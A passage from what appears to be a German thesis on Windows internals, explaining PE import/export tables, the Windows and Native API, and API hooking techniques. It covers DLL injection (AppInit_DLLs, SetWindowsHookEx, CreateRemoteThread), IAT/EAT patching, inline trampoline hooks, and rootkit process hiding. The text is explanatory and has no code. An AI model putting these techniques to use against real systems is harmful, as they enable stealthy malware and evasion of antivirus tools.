Bibliotheksfunktionen dynamisch importiert werden. Wird ein Windowsprogramm gestartet, so lädt der Windows Loader dieses in den Speicher. Anschließend geht er die Einträge der IAT durch und blendet jede Bibliothek, aus welcher eine Funktion in dem Programm benutzt wird, in den virtuellen Adressraum des Prozesses ein. Befindet sich eine dieser Bibliotheken noch nicht im Speicher, so wird sie zuvor in diesen geladen. Dabei vervollständigt er die IAT insoweit, dass er jedem Funktionseintrag der IAT einen Zeiger zuordnet. Dieser Zeiger markiert den Einstiegspunkt der jeweiligen Funktion im Speicher. Der Sinn hinter diesem Vorgehen ist, dass während der Programmcompilierung 1 MZ sind die Initialen von Mark Zbikowski – einer der am längsten bei Microsoft tätigen SoftwareEntwickler. 22 3.2. Windows API und Native API noch nicht bekannt ist, an welcher Stelle im Speicher später die verwendeten Bibliotheken liegen beziehungsweise eingeblendet werden, und aus diesem Grund auch keine statischen Verweise verwendet werden können. Das Gegenstück zur IAT ist die EAT. Dieser kommt hauptsächlich bei Bibliotheken eine besondere Bedeutung zu. Wird eine Bibliothek vom Windows Loader in den Speicher geladen, so füllt er ihre EAT aus. Sie enthält für jede als exportiert markierte Funktion der Bibliothek einen Eintrag, bestehend aus deren Funktionsnamen und der Einstiegsadresse der Funktion im Speicher. Die Funktionsnamen der IAT (eines Programms oder einer anderen Bibliothek, welche Funktionen von dieser Bibliothek importieren möchte) müssen exakt den Funktionsnamen dieser EAT entsprechen, da der Windows Loader sonst keine korrekte Zuordnung der Funktionen durchführen kann. Auf den PE Header folgt die Section Table. Dies ist ein Array, bestehend aus den Headern der anschließenden Sektionen. Jeder Header ist 40 Byte groß und enthält folgende Informationen: - Sektionsname: Kann jeder beliebige Name sein, der nicht länger als acht Zeichen ist. Oft werden jedoch Standardnamen verwendet. So hat die Sektion, welche den Programmcode enthält, meistens den Namen .code oder .text oder die Datensektion den Namen .data. - Größe und Offset der Sektion. - Flags (32 Bits), welche die Zugriffsrechte auf die Sektion angeben. Hiermit kann die Sektion beispielsweise als ausführbar markiert werden, oder es wird nur lesender Zugriff erlaubt. Zum Beispiel ist die .code Sektion oft als ausführbar und schreibgeschützt markiert. Es ist auch möglich, eine Sektion als shared zu kennzeichnen. Ist dies der Fall, so wird bei einem weiteren Laden der PE Datei diese Sektion nicht ein zweites Mal in den Speicher geladen, sondern es werden nur die Einträge der Seitentabelle neu gesetzt. Auf diese Weise lässt sich bei häufig verwendeten Dateien, wie zum Beispiel Bibliotheken, Arbeitsspeicher einsparen. Auf die Section Table folgen die einzelnen Sektionen. Diese enthalten die eigentlichen Daten der Datei. Zu diesen Daten zählen unter anderem der Programmcode, Programmdaten (zum Beispiel globale Variablen) oder auch Ressourcen (zum Beispiel Bilder), welche von der ausführbaren Datei benutzt werden. 3.2. Windows API und Native API Das Betriebssystem Windows verfügt über zwei Betriebsmodi – den sogenannten Benutzermodus und den Kernelmodus. Der Kernelmodus setzt direkt auf der Hardwareebene auf und stellt dem Benutzermodus eine abstrahierte Sicht dieser Hardwarebasis in Form einer Schnittstelle zur Verfügung. So müssen Programme, die im Benutzermodus laufen, keine genaue Kenntnis über die vorhandene Hardware besitzen und können dennoch darauf über diese Schnittstelle zugreifen. Zudem wird diese Einteilung, wie sie jedes moderne Betriebssystem bietet, aus Sicherheitsgründen vorgenommen. Prozesse, die im Kernelmodus laufen, haben viel höhere 23 Kapitel 3. Windowsgrundlagen und API-Hooking Privilegien als Prozesse, die auf Benutzerebene ausgeführt werden. Ein weiterer Vorteil dieses Prinzips ist eine gerechte Verteilung der Systemressourcen unter den Anwenderprogrammen. Mit dieser Unterteilung ist es keinem Anwenderprogramm möglich, eine oder mehrere Ressourcen dauerhaft zu binden. Mit der Windows API (Application Programming Interface) bietet Microsoft einem Programmierer eine Sammlung von Funktionen an, um Windowsapplikationen zu entwickeln. Diese Schnittstelle besteht aus mehreren Programmbibliotheken (DLL-Dateien), die jeweils unterschiedliche Funktionen exportieren. Diese können von einem Programmierer in sein eigenes Programm eingebunden werden, um mit dem Betriebssystem zu kommunizieren und es anzuweisen, systemnahe Operationen durchzuführen. Die wichtigsten Bibliotheken sind: • kernel32.dll (Windows NT Basis API): Exportiert die wichtigsten Basisfunktionen und wird in jeden Anwenderprozess geladen • advapi32.dll (Advanced Windows API): Stellt Funktionen zur Bearbeitung der Registry und für die Dienstkontrolle zur Verfügung • user32.dll (Windows User API): Beinhaltet Funktionen für die Verwendung von einem Graphical User Interface (GUI). Sie wird in jeden Prozess geladen, der ein GUI bietet • ws2_32.dll (Windows Socket API): Hier sind Funktionen für den Zugriff auf Netzwerke vereint • ntdll.dll (Native API): Die Native API (siehe Kapitel 3.2.1) ist eine separate Schnittstelle und gehört nicht zur eigentlichen Windows API. Da viele Funktionen der Windows API jedoch Wrapper um Funktionen der Native API sind, wird diese hier mit aufgelistet. Die gesamte Windows API umfasst Tausende von aufrufbaren Funktionen, die sich in folgende Hauptkategorien aufteilen lassen [uMER05]: • Basisdienste (Prozesse/Threads, Speicherverwaltung, E/A, Sicherheit) • Komponentendienste • Benutzerschnittstellendienste • Grafik- und Multimediadienste • Nachrichtenübermittlung und Zusammenarbeit • Netzwerkbetrieb • Webdienste 3.2.1. Native API Wie bereits erwähnt, existiert neben den Bibliotheken der Windows API in Windowsversionen ab Windows NT/2000 noch eine weitere Bibliothek, der ebenfalls eine zentrale Bedeutung zukommt. Die Bibliothek ntdll.dll enthält Funktionen einer zweiten Schnitt- 24 3.2. Windows API und Native API stelle, welche Native API genannt wird. Viele Funktionen der Windows API sind lediglich Wrapper um Funktionen der tiefer liegenden Native API, d.h. dass bei einem Aufruf einer Windows API-Funktion, diese wiederum eine Funktion der Native API aufruft. Der Grund für dieses Zwei-Schichten-System besteht in einer erhöhten Portabilität von Windowsprogrammen. Die Implementierung der Native API unterscheidet sich bei den verschiedenen Windowsversionen, aber die Windows API bleibt weitestgehend gleich. Dadurch ist es möglich, dass eine Anwendung auf verschiedenen Windowsversionen ausführbar ist, wenn sie mithilfe der Windows API implementiert ist. Anwendungen können zwar auch direkt auf Funktionen der Native API zurückgreifen, jedoch ist dann die Portabilität nicht mehr gewährleistet. Den Zusammenhang zwischen diesen zwei Schichten stellt Abbildung 3.2 dar. Da es von Microsoft nicht beabsichtigt war, dass Anwenderprogramme Funktionen der Native API direkt benutzen, ist diese Schnittstelle sehr schlecht dokumentiert. Auch findet sich im Vergleich zur Windows API recht wenig Literatur zu dieser Schnittstelle. Eine dennoch gute Übersicht über den Gebrauch der Native API und deren Funktionen bietet ein Buch von Gary Nebbett [Neb00]. Kernel32.dll Ws2_32.dll User32.dll Windows API Advapi32.dll ntdll.dll Native API Benutzermodus Kernelmodus Abbildung 3.2.: Die wichtigsten DLLs der Windows API im Zusammenhang 3.2.2. Aufrufketten Benutzeranwendungen verwenden die Windows API, anstatt per Systemaufruf in den Kernel zu springen, um dort Systemressourcen zu verwenden. Nach einem Aufruf einer Funktion der Windows API variiert der weitere Programmablauf, je nach aufgerufener API-Funktion. Manche Funktionen springen zur Durchführung ihrer Aufgabe in den Kernelmodus, und andere verarbeiten die Argumente und rufen weitere API-Funktionen auf, um ihr Ergebnis zu berechnen. Solch eine Folge von sich gegenseitig aufrufenden Funktionen, wie sie im zweiten Fall vorliegt, nennt man Aufrufkette. Von manchen Windows API-Funktionen existieren zwei Varianten – eine mit der Endung W und eine mit der Endung A. Diese besitzen dieselbe Funktionalität. Es besteht nur ein Unterschied darin, in welcher Codierung ihnen Stringargumente übergeben 25 Kapitel 3. Windowsgrundlagen und API-Hooking werden. Die A-Versionen erwarten Ansistrings und die W-Versionen Widestrings bzw. Unicode-Strings. Meist ist es so, dass die A-Versionen intern ihre Stringargumente in Unicode umcodieren und damit die W-Versionen aufrufen. Als Beispiel für eine Aufrufkette diene die Funktion RegSetValueA, die verwendet werden kann, um einem Schlüssel der Registry einen Wert zuzuweisen. Wird diese Funktion in einer Benutzeranwendung aufgerufen, so wird die Kontrolle in die Bibliothek advapi32.dll verlagert, welche diese Funktion zur Verfügung stellt. Die Funktion RegSetValueA ruft als nächstes die Funktion RegSetValueW auf und diese dann die Funktion ZwSetValueKey der Native API. Nachdem dann die Ablaufkontrolle in der Native API angelangt ist, wird aus dieser ein Sprung in den Kernelmodus veranlasst, wo dann schließlich der eigentliche Betriebssystemkern ntoskrnl.exe die gewünschte Operation ausführt. Danach wird die Kontrolle schrittweise wieder nach oben übergeben, bis sie letztlich der Benutzeranwendung zurückgegeben wird und diese ihren Programmablauf fortsetzt. Abbildung 3.3 veranschaulicht dieses Beispiel. Benutzeranwendung: Aufrufende Funktion: .. . CALL RegSetValueA .. . Advapi32.dll: RegSetValueA: ... CALL RegSetValueW . .. Windows API RegSetValueW: ... CALL ZwSetValueKey . .. ntdll.dll: ZwSetValueKey: .. . Sysenter . Native API .. Benutzermodus Kernelmodus ntoskrnl.exe Abbildung 3.3.: Aufrufkette der Funktion RegSetValueA 26 3.3. API-Hooking 3.3. API-Hooking Als Hooking bezeichnet man eine Technik, die es einem erlaubt, Kontrolle über den Ablauf eines fremden Programms zu bekommen, ohne dass man dessen Quellcode vorliegen hat. Dafür fängt man gezielt Funktionsaufrufe fremder Programme ab und lenkt sie auf eigene Funktionen, die sogenannten Hook-Funktionen oder Callback-Funktionen, um. Der Name Hooking resultiert daraus, dass man mit dieser Technik seine eigenen Hook-Funktionen in den Ablauf fremder Programme hineinhängen kann. Innerhalb der Hook-Funktionen, die dieselben Argumente übergeben bekommen wie die Originalfunktionen, kann man dann beliebige Befehle ausführen. Es ist zum Beispiel möglich, die Argumente zu verändern und mit diesen dann die Originalfunktionen wieder aufzurufen oder aber die Originalfunktionen komplett außer Acht zu lassen und selber ein Resultat zu generieren. API-Hooking ist dementsprechend eine besondere Form des Hookings und bezeichnet das Abfangen von Funktionsaufrufen der Windows API. Ein Programm, welches eine gehookte Funktion der Windows API aufruft, bekommt im Normalfall nichts davon mit, dass diese gehookt wurde. Es interpretiert das Ergebnis dieses Funktionsaufrufs als das Resultat der Originalfunktion, obwohl es tatsächlich das Resultat der Hook-Funktion ist. Dadurch ergeben sich besondere Möglichkeiten, da ja, wie in Kapitel 3.2 beschrieben, die meisten Anwenderprogramme die Windows API benutzen. Eine spezielle Form des Hookings stellt das Inline Hooking dar, welches in Kapitel 3.3.5 näher erläutert wird. In diesem Kapitel findet sich auch eine Abbildung (3.4), die das Prinzip des API-Hookings veranschaulicht. 3.3.1. Einsatzmöglichkeiten API-Hooking kann sowohl für eher bedenkliche Zwecke als auch in Programmen eingesetzt werden, die eine gute Intention verfolgen. Ein Beispiel für den ersten Fall sind Rootkits. Viele Rootkits nutzen die Technik des API-Hookings, um Prozesse und ihre Dateien vor dem Windowssystem oder vor Antivirenprogrammen unsichtbar zu machen: Um einen Prozess vor dem System zu verbergen, hooken sie beispielsweise unter anderem die Funktion Process32Next, die den nachfolgenden Prozess aus einer Liste aller Prozesse zurückliefert. Ist dieser nächste Prozess der Prozess, den das Rootkit verstecken möchte, so wird als Resultat einfach das Ergebnis eines weiteren Process32Next-Aufrufs zurückgegeben. Auf ähnliche Art und Weise kann man Dateien verstecken. Diese werden dann von Antivirenprogrammen schlichtweg nicht gesehen und können dementsprechend auch nicht auf Viren untersucht werden, so dass der Benutzer keine Kenntnis über die Existenz einer vorhandenen Malware erlangt. Das vorangegangene Beispiel zeigt eine Einsatzmöglichkeit des API-Hookings, welche von Malware verwendet wird. Es gibt aber auch Einsatzmöglichkeiten, die weitaus weniger bedenklich anzusehen sind. So ist es zum Beispiel denkbar, mittels API-Hooking einen API-Monitor zu programmieren, der dem Benutzer Auskunft darüber gibt, welche API-Funktionen von anderen Programmen benutzt werden. Dies ist normalerweise für den Benutzer nicht sichtbar, so dass man durch solch ein Tool eine bessere Über- 27 Kapitel 3. Windowsgrundlagen und API-Hooking sicht über die Funktionsweise anderer Programme bekommt. APIoskop ist solch einem API-Monitor nicht unähnlich. Ein weiteres Beispiel für diese zweite Einsatzmöglichkeit des API-Hookings liefern Virenscanner. Etliche Virenscanner versuchen das Beenden ihrer Engine durch API-Hooking zu verhindern. Dazu hooken sie beispielsweise die API-Funktion TerminateProcess, welche den Prozess beendet, der dieser Funktion als Prozesshandle übergeben wird. Wird der entsprechenden Hook-Funktion des Virenscanners ein Prozesshandle übergeben, welches den Prozess des Virenscanners kennzeichnet, in dem seine Engine läuft, so liefert die Hook-Funktion einfach einen Fehlerstatus zurück. Die Folge ist, dass die Engine auch weiterhin aktiv bleibt. Oft wird API-Hooking auch dazu benutzt, die Funktionalität bestehender Windowsapplikationen zu erweitern bzw. zu ändern. Durch das Einfügen von fremdem Code vor und hinter API-Aufrufe ist es nicht besonders schwer, das Verhalten eines schon compilierten Codes abzuändern. [Iva02] 3.3.2. Generelle Überlegungen zum Hooking Bevor man einen Hook installiert, sollte man sich über den Zweck des Hookens im Klaren sein. Unter der Installation eines Hooks versteht man das Einhängen des Hooks in einen Programmablauf, so dass die API-Aufrufe des Zielprozesses abgefangen und auf die Hook-Funktionen umgeleitet werden. Es muss also überlegt werden, was man durch das Setzen der Hooks erreichen möchte. Möchte man beispielsweise verhindern, dass ein Programm eine bestimmte Datei anlegt, so ist es sinnvoll, den Funktionsaufruf CreateFile nur des Prozesses dieses Programms zu überwachen. Diese Form des Hooking bezeichnet man als prozessweit, da nur ein einzelner Prozess betroffen ist. Des Gegenteil dieser Form nennt sich systemweites Hooking. Beim systemweiten Hooking sind Funktionen, die man gehookt hat, aller Prozesse betroffen. Ein Beispiel, bei dem systemweites Hooking sinnvoll ist, ist das Virenscanner-Beispiel von weiter oben. Wenn man verhindern möchte, dass ein Prozess durch andere Prozesse beendet wird, bietet es sich an, die Funktion TerminateProcess systemweit zu hooken. Jeder Aufruf dieser Funktion mit dem Prozess (in Form eines Handles) als Argument, der vor dem Beenden geschützt werden soll, wird in der Hook-Funktion verboten. Durch den systemweiten Hook ist es dann keinem Prozess mehr möglich, den geschützten Prozess mittels der Funktion TerminateProcess zu beenden. 3.3.3. API-Hooking im Detail Damit der Prozess, dessen API-Aufrufe abgefangen werden sollen, die Hook-Funktionen ausführen kann, müssen sich diese in dessen Prozesskontext befinden. Aus diesem Grund benötigt ein Programm, welches API-Hooks setzen möchte, normalerweise zwei Komponenten – einen Loader (auch Injektor genannt) und eine Bibliothek mit den HookFunktionen (ab jetzt HookLibrary genannt). Dem Loader kommt die Aufgabe zu, die HookLibrary in die gewünschten Prozesse zu injizieren. Dadurch befinden sich dann die Hook-Funktionen in dem Prozesskontext des Zielprozesses, wodurch dieser dann Zugriff 28 3.3. API-Hooking auf die Hook-Funktionen hat. Falls eine injizierte HookLibrary mit dem Loader kommuniziert, so ist dieser natürlich noch zusätzlich für das Empfangen und Verarbeiten der gesendeten Informationen zuständig. Es existiert eine Vielzahl an technischen Möglichkeiten zur Durchführung eines Hooks. Grob lässt sich das Setzen von Hooks in zwei Phasen unterteilen: 1. In der ersten Phase muss die HookLibrary (DLL-Datei) in den Adressraum des Zielprozesses geladen werden. 2. Anschließend werden in der zweiten Phase die einzelnen Hooks installiert. Beide Phasen werden in den folgenden zwei Unterkapiteln näher erläutert. 3.3.4. DLL Injektion Bevor ein fremder Prozess dazu gebracht werden kann, die Hook-Funktionen, anstatt die originale API-Funktionen aufzurufen, müssen diese erst in den Prozesskontext des fremden Prozesses gebracht werden. Es gibt verschiedene Möglichkeiten dafür, die HookLibrary in einen fremden Prozess zu injizieren. Dieser Abschnitt stellt einige dieser Möglichkeiten vor [Iva02]: Registry: Die erste vorgestellte Möglichkeit besteht darin, den vollständigen Pfad zur HookLibrary zu dem Wert des Registryschlüssels HKEY_LOCAL_MACHINE\Software\ Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs hinzuzufügen. Die dort angegebenen Bibliotheken werden automatisch in jeden Prozess geladen, der auch die Bibliothek user32.dll verwendet [Ric99]. Wie in Kapitel 3.2 beschrieben sind das all jene Prozesse, die dem Benutzer eine graphische Benutzeroberfläche bieten. Die Injektion der HookLibrary gestaltet sich so sehr einfach, bietet aber auch Nachteile: • Funktioniert nur unter Windows NT/2K. • Es ist nicht möglich, die injizierten Bibliotheken zu einem beliebigen Zeitpunkt aus den jeweiligen Prozessräumen wieder zu entfernen. Dies geschieht nur beim Beenden des jeweiligen Prozesses oder durch einen Neustart von Windows und vorheriger Anpassung des obigen Registryschlüssels. • Die HookLibrary wird in jeden Prozess geladen, der die Bibliothek user32.dll verwendet. Es ist also nicht möglich, gezielt nur in bestimmte dieser Prozesse zu injizieren oder in Prozesse, die keine graphische Benutzeroberfläche bieten. Windows-Hooks: Bei dem ereignisgesteuerten Windows erzeugen Ereignisse, zum Beispiel Mausbewegungen oder Tastendrücke, Nachrichten, welche dann an das entsprechende Fenster der Zielapplikation weitergeleitet werden. Windows-Hooks erlauben es einem Programm, diese Nachrichten des Windows Nachrichtensystems abzufangen, bevor diese die eigentliche Zielapplikation erreichen. Intern verwaltet Windows eine Liste, die alle vorhandenen Windows-Hooks beinhaltet. Neue Hooks werden immer an den Anfang der Liste angefügt. Alle Nachrichten durchlaufen diese Liste und wenn eine Nachricht auf den 29 Kapitel 3. Windowsgrundlagen und API-Hooking Typ eines Hooks der Liste matcht, so wird die entsprechende Hook-Funktion ausgeführt. Die Funktion SetWindowsHookEx unterstützt 14 verschiedene Arten von WindowsHooks und lädt die als Argument angegebene HookLibrary in die Adressräume der fremden Prozesse. Der Rückgabewert von SetWindowsHookEx ist ein Handle, welches den Hook eindeutig identifiziert. Dieses Handle kann als Argument der Funktion UnhookWindowsHookEx übergeben werden, die die injizierten Bibliotheken wieder aus den betroffenen Prozessräumen entfernt. Im Vergleich zur Registry-Methode ist es also auf diese Art möglich, die injizierten Bibliotheken wieder aus den fremden Prozessen zu entladen. Ein weiterer Vorteil ist, dass diese Methode auch unter Windows 9x anwendbar ist. Aber auch das Injizieren mittels SetWindowsHookEx bringt Nachteile mit sich: • Da jede Nachricht im System die interne Liste der Windows-Hooks durchläuft, kann sich dies sehr nachteilig auf die Systemperformance auswirken. • Installiert man auf diese Weise eine Hook-Funktion, die einen kleinen Fehler enthält, kann es sein, dass sich das komplette Verhalten von Windows ändert oder gar das ganze System hängen bleibt. • Mit dieser Methode kann man nur systemweit hooken. Zudem bieten WindowsHooks nur die Möglichkeit, Nachrichten abzufangen. Windows-Hooks eignen sich also nicht dazu, beliebige API-Funktionen zu hooken. Remote-Thread: Der Kern dieser Methode besteht aus den beiden API-Funktionen CreateRemoteThread und LoadLibrary. Ein Prozess kann die Funktion LoadLibrary benutzen, um Bibliotheken dynamisch während der Programmausführung zu laden. Wenn es nun möglich wäre, einen fremden Prozess dazu zu bringen, dass er diese Funktion mit der HookLibrary als Argument aufruft, so wäre das gewünschte Ziel der Injektion erreicht. Um dies zu erreichen, verwendet man die API-Funktion CreateRemoteThread, welche einen Thread in einem fremden Prozess erstellt. Sie bekommt sieben Argumente übergeben, unter anderem ein Handle des Prozesses, in dem man einen Thread erstellen möchte. Weitaus interessanter sind aber zwei andere Argumente. Zum einen eines, welches einen Zeiger auf eine Methode enthält und zum anderen ein Stringargument. Die Methode, auf die der Zeiger zeigt, dient als Startmethode des zu erstellenden Threads, d.h. sobald der erstellte Thread CPU-Zeit zugeteilt bekommt, wird diese Methode ausgeführt. Das Stringargument dient als Parameter für diese gerade erwähnte Startmethode des erstellten Threads. Wenn man nun also einen Thread in einem fremden Prozess mittels CreateRemoteThread erstellt und dabei als Startmethode LoadLibrary und als Argument für diese Funktion den Pfad zur HookLibrary angibt, so bringt man diesen fremden Prozess dazu, dass er die HookLibrary in seinen Prozessraum lädt. Das einzige Problem dabei ist, dass wir die Adresse der Funktion LoadLibrary im Adressraum des fremden Prozesses nicht kennen. Allerdings muss diese aber, wie erwähnt, der Funktion CreateRemoteThread in Form eines Zeigers übergeben werden. Dies lässt sich jedoch durch die Tatsache lösen, dass Windows die Bibliothek Kernel32.dll in jeden Prozess und auch immer an die gleiche Stelle innerhalb der jeweiligen Prozessräume lädt. Also befindet sich die Funktion LoadLibrary im fremden Prozess an 30 3.3. API-Hooking der gleichen Stelle wie in jedem anderen Prozess auch, unter anderem auch wie in dem Loader/Injektor. Ein Vorteil dieser Methode ist, dass sie die Systemperformance nicht so negativ beeinflusst wie die Injektion mittels Windows-Hooks. Außerdem erlaubt diese Methode, sich gezielt Prozesse auszusuchen, in die die HookLibrary injiziert wird. Jedoch bringt auch diese Methode einige Nachteile mit sich: • Funktioniert nur unter Windows NT/2K. • Diese Methode funktioniert nicht bei allen beliebigen Prozessen. Dies liegt daran, dass CreateRemoteThread intern zunächst versucht, den fremden Prozess mittels der API-Funktion OpenProcess mit lesenden und schreibenden Zugriffsrechten zu öffnen. Bei Systemprozessen scheitert deren Öffnen mit Schreibrechten normalerweise daran, dass der Loader nicht über genug Privilegien verfügt. Um solche Sytemprozesse mit Schreibrechten zu öffnen, benötigt der Loader SeDebugPrivilege-Privilegien. 3.3.5. Installation der Hooks Nachdem man die Hook-Funktionen in der ersten Phase erfolgreich in einen fremden Prozess injiziert hat, sind diese aber noch nicht aktiv. Ruft der fremde Prozess eine APIFunktion auf, so wird immer noch die Originalfunktion abgearbeitet. In einer zweiten Phase müssen die Hooks also noch installiert werden. Auch dafür existieren mehrere Möglichkeiten, von denen einige in diesem Kapitel erläutert werden. Proxy DLL: Bei dieser Methode werden einfach die Bibliotheken, deren exportierte Funktionen man hooken möchte, komplett durch neue Bibliotheken, Proxy DLLs genannt, desselben Namens ausgetauscht. Auf diese Weise werden die modifizierten Versionen in den Adressraum geladen und somit auch die Funktionen der neuen Bibliotheken anstatt der Originalfunktionen abgearbeitet [Iva02]. Dabei müssen allerdings ein paar Regeln beachtet werden. Zum einen müssen die Proxy DLLs genau die gleichen Funktionen exportieren wie die ursprünglichen Bibliotheken. Zum anderen müssen auch die Patterns, d.h. die Anzahl und die Typen der Funktionsargumente, der neuen Funktionen exakt den Patterns der alten Funktionen entsprechen, da es ansonsten bei einem Aufruf einer Bibliotheksfunktion zu Fehlern kommen kann. Die Funktionen der Originalbibliothek können innerhalb der neuen Bibliothek weiterhin verwendet werden, indem diese in der neuen Bibliothek importiert werden. Diese Methode ist sehr unkompliziert, hat aber entscheidende Nachteile: • Es müssen immer alle Funktionen, die die Originalbibliothek exportiert, auch in der neuen Bibliothek vorhanden sein und exportiert werden, selbst wenn man nur den Code einer einzigen Funktion ändern möchte. Dies führt bei Bibliotheken, die mehrere Hundert Funktionen exportieren, zu einem erheblichen Aufwand. • Es ist sehr leicht festzustellen, dass nicht die Originalbibliothek verwendet wird, zum Beispiel durch einen Vergleich der Größe der benutzten und der ursprünglichen Bibliothek. 31 Kapitel 3. Windowsgrundlagen und API-Hooking Modifikation der Import Address Table: Um einen Hook zu installieren, müssen nur die Zeiger der Import Adress Table (IAT, siehe Kapitel 3.1) auf die eigenen Funktionen umgelenkt werden. Wird in der Zielapplikation, deren IAT verändert wurde, eine importierte Funktion aufgerufen, so wird in deren IAT die Adresse der Funktion im Speicher ausgelesen. Durch die Manipulation der IAT bekommt die Zielapplikation jedoch die geänderte Adresse zurückgeliefert. Es wird also nicht mehr die Originalfunktion, sondern die Hook-Funktion abgearbeitet, auf die der manipulierte Eintrag verweist [Iva02]. Zu beachten sind bei dieser Methode folgende Punkte: • Es ist möglich, dass die IAT durch ihren Header als schreibgeschützt markiert ist. • Mit dieser Methode ist es nur möglich, implizit eingebundene Funktionen zu hooken. Bei explizit gebundenen Funktionen, mittels LoadLibrary und GetProcAddress, wird kein IAT-Eintrag erstellt. Modifikation der Export Address Table: Die Modifikation der Export Address Table (EAT, siehe Kapitel 3.1) ist der vorangegangenen Methode, der Modifikation der IAT, sehr ähnlich. Hierbei werden allerdings in einer Bibliothek, welche die zu hookenden Funktionen exportiert, die Zeiger deren EAT verändert. Sobald eine Programm durch den Windows Loader in den Speicher geladen wird, versucht er dessen IAT auszufüllen. Wenn nun der entsprechende EAT-Eintrag einer Bibliothek, welche die zu importierende Funktion exportiert, verändert wurde, so wird dieser manipulierte Eintrag auch in die IAT des Programms übernommen. Durch eine Veränderung der EAT-Adressen lässt sich also auch fremder Code dazu bringen, die Hook-Funktionen anstatt der Originalfunktionen aufzurufen. [Iva02] Bei dieser Art der Hookinstallation ist zu beachten, dass das Ändern der EAT einer Bibliothek Einfluss auf jeden Prozess hat, der nach der Manipulation erstellt wird und eine betroffene Funktion dieser Bibliothek importiert. Der Vorteil gegenüber der IATModifikation liegt darin, dass diese Methode auch beim expliziten Binden einer Library funktioniert, da die API-Funktion GetProcAddress die EAT ausliest, um die gewünschte Adresse zurückzuliefern. Nachteile dieser Methode sind folgende: • Zur Modifikation der EAT steht nur ein kleines Zeitfenster zur Verfügung. Um Hooks erfolgreich zu installieren, muss die EAT zwischen dem Zeitpunkt des Ladens der Bibliothek in den Speicher und dem Zeitpunkt, an dem der Windows Loader die IAT der Zielapplikation schreibt, manipuliert werden. • Das Ändern der EAT einer Bibliothek, welche sich bereits im Speicher befindet, hat absolut keinen Einfluss auf Programme, deren IAT bereits vom Windows Loader ausgefüllt wurde. Inline Hooking: Einen völlig anderen Ansatz verfolgt das Inline Hooking (auch Inline Code Overwriting genannt) [Fat04]. Dabei wird keine Tabelle manipuliert, sondern es wird direkt ein Teil des Codes einer API-Funktion im Speicher abgeändert. Bei dieser Methode werden die ersten Instruktionen der zu hookenden Funktion mit einer relativen Sprunganweisung auf die Hook-Funktion überschrieben. Solch eine Sprunganweisung besteht aus dem Opcode 0xE9 und, bei einem 32-Bit-System, einer vier Byte Sprungweite. 32 3.3. API-Hooking Meist reicht es also aus, die ersten fünf Byte der Originalfunktion zu überschreiben. Somit wäre der Hook bereits vollständig installiert. Dies hat aber den Nachteil, dass nun die Originalfunktion nicht mehr in der HookFunktion aufgerufen werden kann. Würde man dies tun, so würde durch die eingefügte Sprunganweisung sofort wieder in die Hook-Funktion gesprungen, was eine endlose Rekursion zur Folge hätte. Um dieses Problem zu lösen, sichert man die überschriebenen Instruktionen an einer anderen Stelle im Speicher. Diese bilden, gefolgt von einer Sprunganweisung zur Stelle direkt hinter unsere Modifikation, die sogenannte Trampolinfunktion. Diese kann innerhalb der Hook-Funktion immer dann aufgerufen werden, wenn die Originalfunktion abgearbeitet werden soll. Durch die Trampolinfunktion erhält man die Möglichkeit, auch in der Hook-Funktion das Resultat der Originalfunktion zu erlangen und dieses zu modifizieren oder sonstwie weiterzuverarbeiten. Anwendung .. . CALL API Funktion Anwendung .. . CALL API Funktion .. . .. . 1 Original API Funktion Instruktion 1 .. . Sprung Instruktion m Instruktion m+1 ... Instruktion m+1 ... Hook Funktion Modifizierte API Funktion 2 .. . CALL Trampolinfunktion .. . 6 Trampolinfunktion Instruktion 1 .. . 4 .. . Instruktion n 3 .. . Instruktion n Instruktion m Sprung 5 (a) (b) Abbildung 3.4.: Inline Hooking: (a) vor dem Setzen des Hooks und (b) danach. Abbildung 3.4 illustriert die Arbeitsweise des Inline Hookings. Teil (a) der Abbildung zeigt den Ablauf bei einem Aufruf einer ungehookten Funktion. In einer Anwendung wird die Funktion aufgerufen, woraufhin die Kontrolle der aufgerufenen Funktion übergeben wird. Diese berechnet ihr Ergebnis und liefert dieses an die Anwendung zurück, so dass diese mit dem berechneten Ergebnis weiterarbeiten kann. Während der Abarbeitung der API-Funktion kann diese natürlich noch weitere Funktionen aufrufen. Zur Verdeutlichung des Inline Hookings sind solche weiteren Aufrufe aber irrelevant, so dass sie in der Abbildung nicht dargestellt sind. Wird eine gehookte API-Funktion von einer Anwendung aufgerufen, ist der Programmablauf ein anderer, da der installierte Hook den Funktionsaufruf abfängt und die Kon- 33 Kapitel 3. Windowsgrundlagen und API-Hooking trolle der Hook-Funktion übergibt. Teil (b) der Abbildung 3.4 zeigt, wie die einzelnen Ablaufschritte bei einem Aufruf einer gehookten Funktion aussehen: 1. In einer Anwendung wird die gehookte Funktion aufgerufen. Dies geschieht mit den regulären Parametern der aufgerufenen Funktion. Solange die Anwendung nicht gezielt den Speicherbereich der Funktion untersucht, hat sie selbst keine Kenntnis darüber, ob die aufgerufene Funktion gehookt ist oder nicht. 2. Es wird die Kontrolle der aufgerufenen Funktion übergeben und nach deren Initialisierungsphase ihre erste Instruktion abgearbeitet. Diese ist eine durch die Installation des Hooks erstellte Sprunganweisung zu der Hook-Funktion. 3. Innerhalb der Hook-Funktion kann nun optional die Trampolinfunktion aufgerufen werden, je nachdem, ob die Hook-Funktion das Ergebnis der gehookten Funktion weiterverarbeiten möchte oder nicht. 4. Wird die Trampolinfunktion aufgerufen, so werden erst die gesicherten Instruktionen der Originalfunktion abgearbeitet. Anschließend wird aus der Trampolinfunktion heraus genau auf die erste Instruktion hinter der Modifikation der Originalfunktion gesprungen. 5. Nach dem Sprung zu den restlichen Instruktionen der Originalfunktion werden diese abgearbeitet. Mit den gesicherten Instruktionen in der Trampolinfunktion und den restlichen Instruktionen der Originalfunktion wird so des Verhalten der Originalfunktion simuliert. Das Ergebnis dieser Simulation wird dann der HookFunktion zurückgeliefert, da aus dieser die Trampolinfunktion aufgerufen wurde. Wie gesagt ist der Aufruf der Trampolinfunktion innerhalb der Hook-Funktion optional und muss nicht stattfinden. Wird sie nicht aufgerufen, so fallen die Schritte 3 bis 5 weg. 6. Nach dem Abarbeiten der Hook-Funktion wird die Kontrolle wieder der Anwendung übergeben, welche die gehookte Funktion aufgerufen hatte. Das Ergebnis, welches die Anwendung von der Hook-Funktion erhält, interpretiert die Anwendung als das Ergebnis der Originalfunktion. Inline Hooking bietet nicht nur die Möglichkeit, API-Funktionen zu hooken, sondern es lässt sich mit dieser Methode jede beliebige Funktion hooken. Im Gegensatz zur Modifikation der IAT ist es beim Inline Hooking irrelevant, ob die Bibliothek, welche 